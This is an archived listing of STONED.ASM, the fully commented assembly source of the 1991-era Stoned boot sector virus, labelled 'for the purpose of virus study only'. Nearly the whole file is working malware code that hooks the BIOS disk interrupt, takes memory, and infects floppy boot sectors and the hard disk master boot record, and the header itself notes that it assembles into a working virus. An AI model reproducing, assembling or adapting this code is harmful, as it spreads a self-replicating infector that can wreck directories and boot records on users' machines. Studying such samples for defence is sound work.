home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / STONED.ASM < prev    next >
Assembly Source File  |  1991-01-29  |  21KB  |  533 lines

  1. TITLE   STONBOOT        1-4-80  [5-12-90]
  2.  
  3. PAGE 27,132
  4.  
  5. ;*****************************************************************************
  6. ;
  7. ;         *** NOT FOR GENERAL DISTRIBUTION ***     The Stoned Virus
  8. ;
  9. ; This file is for the purpose of virus study only! It should not be passed
  10. ;  around among the general public. It will be very useful for learning
  11. ;  how viruses work and propagate. But anybody with access to an assembler
  12. ;  can turn it into a working virus and anybody with a bit of assembly coding
  13. ;  experience can turn it into a far more malevolent program than it already
  14. ;  is. Keep this code in reasonable hands!
  15. ;
  16. ; This is a boot sector virus, and an extremely tiny one. It occupies only a
  17. ;  single sector. On a diskette, it resides in the boot sector, and on a hard
  18. ;  disk resides in the mastor boot record. It can be installed on a 5 1/4 inch
  19. ;  diskette by copying the real boot sector to side 1, track 0, sector 3. This
  20. ;  is the last sector used by the directory, and is usually not used. If the
  21. ;  directory ever does expand into this area, then the real boot sector will be
  22. ;  trashed, and the diskette will no longer be bootable. Once the boot sector
  23. ;  is copied to the directory area, this code goes into the boot sector space
  24. ;  at side 0, track 0, sector 1. The system is then transferred to the diskette
  25. ;  and the diskette contains an activated virus. Once this diskette is used to
  26. ;  boot up a system, it will become resident and infect other diskettes it
  27. ;  sees. If the system contains a hard drive, it too will become infected.
  28. ;
  29. ; This virus does not contain any time bomb, but it can cause loss of data by
  30. ;  wrecking a directory here or there.
  31. ;*****************************************************************************
  32.  
  33.  
  34. LF      EQU     0AH
  35. CR      EQU     0DH
  36.  
  37. XSEG    SEGMENT AT      07C0h
  38.         ORG     5
  39. NEWSEG  LABEL   FAR
  40. XSEG    ENDS
  41.  
  42. CODE    SEGMENT
  43.         ASSUME DS:CODE, SS:CODE, CS:CODE, ES:CODE
  44.         ORG     0
  45.  
  46.  
  47. ;*****************************************************************************
  48. ; Execution begins here as a boot record. This means that its location and
  49. ;  CS:IP will be 0000:7C00. The following two JMP instructions accomplish only
  50. ;  a change in CS:IP so that CS is 07C0. The following two JMPs, and the
  51. ;  segment definition of XSEG above are best not tampered with.
  52. ;*****************************************************************************
  53.  
  54.  
  55.         JMP  FAR PTR NEWSEG     ;This is exactly 5 bytes long. Don't change it
  56.  
  57. ;The above line will jump to here, with a CS of 07C0 and an IP of 5
  58.  
  59.         JMP     JPBOOT                  ;Jump here at boot up time
  60.  
  61.  
  62. ;*****************************************************************************
  63. ; The following offsets:
  64. ;    D_TYPE
  65. ;    O_13_O
  66. ;    O_13_S
  67. ;    J_AD_O
  68. ;    J_AD_S
  69. ;    BT_ADD
  70. ;  will be used to access their corresponding variables throughout the code.
  71. ;  They will vary in different parts of the code, since the code relocates
  72. ;  itself and the values in the segment registers will change. The actual
  73. ;  variables are defined with a leading underscore, and should not be used. As
  74. ;  the segment registers, and the offsets used to access them, change in the
  75. ;  code, the offsets will be redefined with "=" operators. At each point, the
  76. ;  particular segment register override needed to access the variables will be
  77. ;  given.
  78. ;
  79. ; In this area, the variables should be accessed with the CS: segment override.
  80. ;******************************************************************************
  81.  
  82. D_TYPE  =       $               ;The type of disk we are booting from
  83. _D_TYPE DB      0
  84.  
  85. OLD_13  EQU     $
  86. O_13_O  =       $               ;Old INT 13 vector offset
  87. _O_13_O DW      ?
  88.  
  89. O_13_S  =       $               ;Old INT 13 vector segment
  90. _O_13_S DW      ?
  91.  
  92. JMP_ADR EQU     $
  93. J_AD_O  =       $               ;Offset of the jump to relocated code
  94. _J_AD_O DW      OFFSET HI_JMP
  95.  
  96. J_AD_S  =       $               ;Segment of the jump to the relocated code
  97. _J_AD_S DW      ?
  98.  
  99.  
  100. BT_ADD  =       $               ;Fixed address 0:7C00. Jump addr to boot sector
  101. _BT_ADD DW      7C00h           ;Boot address segment
  102.         DW      0000h           ;Boot address offset
  103.  
  104.  
  105.  
  106. ;**********************************************************
  107. ;       The INT 13H vector gets hooked to here
  108. ;**********************************************************
  109.  
  110. NEW_13: PUSH    DS
  111.         PUSH    AX
  112.         CMP     AH,2
  113.         JB      REAL13                  ;Restore regs & do real INT 13H
  114.  
  115.         CMP     AH,4
  116.         JNB     REAL13                  ;Restore regs & do real INT 13H
  117.  
  118. ;*****************************************************************
  119. ;    We only get here for service 2 or 3 - Disk read or write
  120. ;*****************************************************************
  121.  
  122.         OR      DL,DL
  123.         JNZ     REAL13                  ;Restore regs & do real INT 13H
  124.  
  125. ;*****************************************************************
  126. ;     And we only get here if it's happening to drive A:
  127. ;*****************************************************************
  128.  
  129.         XOR     AX,AX
  130.         MOV     DS,AX
  131.         MOV     AL,DS:43FH
  132.         TEST    AL,1                    ;Check to see if drive motor is on
  133.         JNZ     REAL13                  ;Restore regs & do real INT 13H
  134.  
  135. ;******************************************************************
  136. ;           We only get here if the drive motor is on.
  137. ;******************************************************************
  138.  
  139.         CALL    INFECT                  ;Try to infect the disk
  140.  
  141. ;******************************************************************
  142. ;                Restore regs & do real INT 13H
  143. ;******************************************************************
  144.  
  145. REAL13: POP     AX
  146.         POP     DS
  147.         JMP     DWORD PTR       CS:OLD_13
  148.  
  149.  
  150.  
  151. ;**************************************************************
  152. ;***          See if we can infect the disk                 ***
  153. ;**************************************************************
  154.  
  155. INFECT  PROC    NEAR
  156.  
  157.         PUSH    BX
  158.         PUSH    CX
  159.         PUSH    DX
  160.         PUSH    ES
  161.         PUSH    SI
  162.         PUSH    DI
  163.         MOV     SI,4            ;We'll try up to 4 times to read it
  164.  
  165. ;***************************************************************
  166. ;            Loop to try reading disk sector
  167. ;***************************************************************
  168.  
  169. RDLOOP: MOV     AX,201H         ;Read one sector...
  170.         PUSH    CS
  171.         POP     ES
  172.         MOV     BX,200H         ;...into a space at the end of the code
  173.         XOR     CX,CX
  174.         MOV     DX,CX           ;Side 0, drive A
  175.         INC     CX              ;Track 0, sector 1
  176.         PUSHF
  177.         CALL    DWORD PTR CS:OLD_13     ;Do the old INT 13
  178.  
  179.         JNB     RD_OK           ;Disk read was OK
  180.  
  181.         XOR     AX,AX
  182.         PUSHF
  183.         CALL    DWORD PTR CS:OLD_13     ;Reset disk
  184.  
  185.         DEC     SI              ;Bump the counter
  186.         JNZ     RDLOOP          ;Loop to try reading disk sector
  187.         JMP     SHORT   QUIT    ;Close up and return if all 4 tries failed
  188.  
  189.         NOP
  190.  
  191. ;******************************************************************************
  192. ; Here if disk read was OK. We got the boot sector. But is it already infected?
  193. ;  Find out by comparing the first 4 bytes of the boot sector to the first 4
  194. ;  bytes of this code. If they don't match exactly, infect the diskette.
  195. ;******************************************************************************
  196.  
  197. RD_OK:  XOR     SI,SI
  198.         MOV     DI,200H
  199.         CLD
  200.         PUSH    CS
  201.         POP     DS
  202.         LODSW
  203.         CMP     AX,[DI]
  204.         JNZ     HIDEIT                  ;Hide floppy boot sector in directory
  205.  
  206.         LODSW
  207.         CMP     AX,[DI+2]
  208.         JZ      QUIT                    ;Close up and return
  209.  
  210. ;************************************************************
  211. ;       Infect - Hide floppy boot sector in directory
  212. ;************************************************************
  213.  
  214. HIDEIT: MOV     AX,301H         ;Write 1 sector
  215.         MOV     BX,200H         ;From the space at the end of this code
  216.         MOV     CL,3            ;To sector 3
  217.         MOV     DH,1            ;Side 1
  218.         PUSHF
  219.         CALL    DWORD PTR CS:OLD_13     ;Do the old INT 14
  220.         JB      QUIT            ;Close up and return if failed
  221.  
  222. ;******************************************************************
  223. ; If write was sucessful, write this code to the boot sector area
  224. ;******************************************************************
  225.  
  226.         MOV     AX,301H         ;Write 1 sector ...
  227.         XOR     BX,BX           ;...of this very code...
  228.         MOV     CL,1            ;...to sector 1...
  229.         XOR     DX,DX           ;...of Side 0, drive A
  230.         PUSHF
  231.         CALL    DWORD PTR CS:OLD_13     ;Do an old INT 13
  232.  
  233. ;  ***NOTE*** no test has been done for a sucessful write.
  234.  
  235. ;***************************************************************
  236. ;                    Close up and return
  237. ;***************************************************************
  238.  
  239. QUIT:   POP     DI
  240.         POP     SI
  241.         POP     ES
  242.         POP     DX
  243.         POP     CX
  244.         POP     BX
  245.         RET
  246.  
  247. INFECT  ENDP
  248.  
  249.  
  250.  
  251.  
  252.  
  253. ;****************************************************************
  254. ;***             Jump here at boot up time
  255. ;****************************************************************
  256.  
  257.  
  258.  
  259.  
  260. ;*****************************************************************************
  261. ; Redefine the variable offsets. The code here executes in the memory area
  262. ;  used by the normal boot sector. The variable offsets have an assembled
  263. ;  value of the order 7Cxx. Access them here through the DS: segment override
  264. ;*****************************************************************************
  265.  
  266.  
  267. D_TYPE  =       07C00h + OFFSET _D_TYPE
  268. O_13_O  =       07C00h + OFFSET _O_13_O
  269. O_13_S  =       07C00h + OFFSET _O_13_S
  270. J_AD_O  =       07C00h + OFFSET _J_AD_O
  271. J_AD_S  =       07C00h + OFFSET _J_AD_S
  272. BT_ADD  =       07C00h + OFFSET _BT_ADD
  273.  
  274.  
  275.  
  276. JPBOOT: XOR     AX,AX
  277.         MOV     DS,AX           ;DS = 0
  278.  
  279. ;*********************************************************
  280. ;                Set up a usable stack
  281. ;*********************************************************
  282.  
  283.         CLI
  284.         MOV     SS,AX           ;SS = 0
  285.         MOV     SP,OFFSET 7C00H ;Position stack at 0000:7C00
  286.         STI
  287.  
  288. ;*********************************************************
  289. ;        Capture the INT 13 vector (BIOS disk I/O)
  290. ;*********************************************************
  291.  
  292.         MOV     AX,DS:4CH       ;Offset for old INT 13 vector
  293.         MOV     DS:O_13_O,AX    ;Save the offset
  294.         MOV     AX,DS:4EH       ;Segment for old INT 13 vector
  295.         MOV     DS:O_13_S,AX    ;Save the segment
  296.  
  297. ;*****************************************************************************
  298. ; Decrease the memory available to DOS by 2K. Only 1K really seems needed, but
  299. ;  stealing an odd number of K would result in an odd number shown available
  300. ;  when a CHKDSK is run. This might be too obvious. Or the programmer may have
  301. ;  had other plans for the memory.
  302. ;*****************************************************************************
  303.  
  304.         MOV     AX,DS:413H      ;BIOS' internal count of available memory
  305.         DEC     AX
  306.         DEC     AX              ;Drop it by 2K ...
  307.         MOV     DS:413H,AX      ;...and store it (steal it!!)
  308.  
  309. ;*********************************************************
  310. ;        Find the segment of the stolen memory
  311. ;*********************************************************
  312.  
  313.         MOV     CL,6
  314.         SHL     AX,CL
  315.         MOV     ES,AX
  316.  
  317. ;*********************************************************
  318. ;        Use the segment of the stolen memory area
  319. ;*********************************************************
  320.  
  321.         MOV     DS:J_AD_S,AX    ;Becomes part of a JMP address
  322.         MOV     AX,OFFSET NEW_13
  323.         MOV     DS:4CH,AX       ;Offset for new INT 13
  324.         MOV     DS:4EH,ES       ;Segment for new INT 13
  325.  
  326. ;****************************************************************
  327. ;Copy the code from 07C0:0000 to ES:0000 (the stolen memory area)
  328. ;****************************************************************
  329.  
  330.         MOV     CX,OFFSET END_BYT ;The size of the code (# of bytes to move)
  331.         PUSH    CS
  332.         POP     DS              ;DS = CS
  333.         XOR     SI,SI
  334.         MOV     DI,SI           ;All offsets of block move areas are 0
  335.         CLD
  336.         REPZ    MOVSB           ;Copy each byte of code to the top of memory
  337.         JMP     DWORD PTR       CS:JMP_ADR ;JMP to the transferred code...
  338.  
  339.  
  340.  
  341. ;**************************************************************
  342. ;    ...and we'll jump right here, to the transferred code
  343. ;**************************************************************
  344.  
  345.  
  346.  
  347. ;****************************************************************************
  348. ; Redefine variable offsets again. This code executes at the top of memory,
  349. ;  and so the exact value of the segment registers depends on how much memory
  350. ;  is installed. The variable offsets have an assembled value of the order of
  351. ;  00xx. They are accessed using the CS: segment override
  352. ;****************************************************************************
  353.  
  354. D_TYPE  =       OFFSET _D_TYPE
  355. O_13_O  =       OFFSET _O_13_O
  356. O_13_S  =       OFFSET _O_13_S
  357. J_AD_O  =       OFFSET _J_AD_O
  358. J_AD_S  =       OFFSET _J_AD_S
  359. BT_ADD  =       OFFSET _BT_ADD
  360.  
  361.  
  362. HI_JMP: MOV     AX,0
  363.         INT     13H             ;Reset disk system
  364.  
  365. ;**********************************************************************
  366. ;  This will read one sector into 0000:7C00 (the boot sector address)
  367. ;**********************************************************************
  368.  
  369.         XOR     AX,AX
  370.         MOV     ES,AX
  371.         MOV     AX,201H                 ;Read one sector
  372.         MOV     BX,OFFSET 7C00H         ;To boot sector area: 0000:7C00
  373.         CMP     BYTE PTR CS:D_TYPE,0    ;Booting from diskette or hard drive?
  374.  
  375.         JZ      DISKET                  ;If booting from a diskette
  376.  
  377. ;******************************************************
  378. ;            Booting from a hard drive
  379. ;******************************************************
  380.  
  381.         MOV     CX,7            ;Track 0, sector 7
  382.         MOV     DX,80H          ;Hard drive, side 0
  383.         INT     13H             ;Go get it
  384.  
  385. ;  ***NOTE** There was no check as to wether or not the read was sucessful
  386.  
  387.         JMP     SHORT   BOOTUP  ;Go run the real boot sector we've installed
  388.  
  389.         NOP
  390.  
  391. ;******************************************************
  392. ;            Booting from a diskette
  393. ;******************************************************
  394.  
  395. DISKET: MOV     CX,3            ;Track 0, sector 3
  396.         MOV     DX,100H         ;A drive, side 1 (last sector of the directory)
  397.         INT     13H             ;Go get it
  398.         JB      BOOTUP          ;If read error, run it anyway.(???) (A prank?)
  399.  
  400. ;****************************************************************
  401. ;Wether or not we print the "Stoned" message depends on the value
  402. ; of a byte in the internal clock time -- a fairly random event.
  403. ;****************************************************************
  404.  
  405.         TEST    BYTE PTR ES:46CH,7      ;Test a bit in the clock time
  406.         JNZ     GETHDB                  ;Get Hard drive boot sector
  407.  
  408. ;**************************************************************
  409. ;                      Print the message
  410. ;**************************************************************
  411.  
  412.         MOV     SI,OFFSET S_MSG ;Address of the "stoned message"
  413.         PUSH    CS
  414.         POP     DS
  415.  
  416. ;**************************************************************
  417. ;               Loop to print individual characters
  418. ;**************************************************************
  419.  
  420. PRINT1: LODSB
  421.         OR      AL,AL           ;A 00 byte means quit the loop
  422.         JZ      GETHDB          ;Get Hard drive boot sector, then
  423.  
  424. ;**************************************************************
  425. ;         Not done looping. Print another character
  426. ;**************************************************************
  427.  
  428.         MOV     AH,0EH
  429.         MOV     BH,0
  430.         INT     10H
  431.         JMP     SHORT   PRINT1  ;Print a character on screen
  432.  
  433.  
  434. ;**************************************************************
  435. ;               Get Hard drive boot sector
  436. ;**************************************************************
  437.  
  438. GETHDB: PUSH    CS
  439.         POP     ES
  440.         MOV     AX,201H         ;Read one sector...
  441.         MOV     BX,200H         ;...to the buffer following this code...
  442.         MOV     CL,1            ;...from sector 1...
  443.         MOV     DX,80H          ;...side 0, of the hard drive
  444.         INT     13H
  445.         JB      BOOTUP          ;If error, assume no hard drive
  446.                                 ; So go run the floppy boot sector
  447.  
  448. ;***************************************************************************
  449. ; If no read error, then there really must be a hard drive. Infect it. The
  450. ;  following code uses the same trick above where the first 4 bytes of the
  451. ;  boot sector are compared to the first 4 bytes of this code. If they don't
  452. ;  match exactly, then this hard drive isn't infected.
  453. ;***************************************************************************
  454.  
  455.         PUSH    CS
  456.         POP     DS
  457.         MOV     SI,200H
  458.         MOV     DI,0
  459.         LODSW
  460.         CMP     AX,[DI]
  461.         JNZ     HIDEHD                  ;Hide real boot sector in hard drive
  462.  
  463.         LODSW
  464.         CMP     AX,[DI+2]
  465.         JNZ     HIDEHD                  ;Hide real boot sector in hard drive
  466.  
  467. ;**************************************************************
  468. ;                Go run the real boot sector
  469. ;**************************************************************
  470.  
  471. BOOTUP: MOV     BYTE PTR CS:D_TYPE,0
  472.         JMP     DWORD PTR       CS:BT_ADD
  473.  
  474. ;**************************************************************
  475. ;         Infect - Hide real boot sector in hard drive
  476. ;**************************************************************
  477.  
  478. HIDEHD: MOV     BYTE PTR CS:D_TYPE,2    ;Mark this as a hard drive infection
  479.         MOV     AX,301H                 ;Write i sector...
  480.         MOV     BX,200H         ;...from the buffer following this code...
  481.         MOV     CX,7            ;...to track 0, sector 7...
  482.         MOV     DX,80H          ;...side 0, of the hard drive...
  483.         INT     13H             ;Do it
  484.         JB      BOOTUP          ;Go run the real boot sector if failed
  485.  
  486. ;**************************************************
  487. ; Here if the boot sector got written successfully
  488. ;***************************************************
  489.  
  490.         PUSH    CS
  491.         POP     DS
  492.         PUSH    CS
  493.         POP     ES
  494.         MOV     SI,3BEH         ;Offset of disk partition table in the buffer
  495.         MOV     DI,1BEH         ;Copy it to the same offset in this code
  496.         MOV     CX,242H         ;Strange. Only need to move 42H bytes. This
  497.                                 ; won't hurt, and will overwrite the copy of
  498.                                 ; the boot sector, maybe giving a bit more
  499.                                 ; concealment.
  500.         REPZ    MOVSB           ;Move them
  501.         MOV     AX,301H         ;Write 1 sector...
  502.         XOR     BX,BX           ;...of this code...
  503.         INC     CL              ;...into sector 1
  504.         INT     13H
  505.  
  506. ; ***NOTE*** no check for a sucessful write
  507.  
  508.         JMP     BOOTUP          ;Now run the real boot sector
  509.  
  510. S_MSG   DB      7,'Your PC is now Stoned!',7,CR,LF
  511.         DB      LF
  512.  
  513. ;*************************************************************************
  514. ; Just garbage. In one version, this contained an extension of the above
  515. ;  string, saying "LEGALIZE MARIJUANA". Some portions of this text remain
  516. ;*************************************************************************
  517.  
  518.         DB      0,4CH,45H,47H,41H
  519.         DB      4CH,49H,53H,45H,67H
  520.         DB      2,4,68H,2,68H
  521.         DB      2,0BH,5,67H,2
  522.  
  523. END_BYT EQU     $               ;Used to determine the size of the code. It
  524.                                 ; must be less than 1BE, or this code is too
  525.                                 ; large to be used to infect hard disks. From
  526.                                 ; offset 1BE and above, the hard disk partition
  527.                                 ; table will be copied, and anything placed
  528.                                 ; there will get clobbered.
  529.  
  530.         CODE    ENDS
  531.  
  532. END
  533.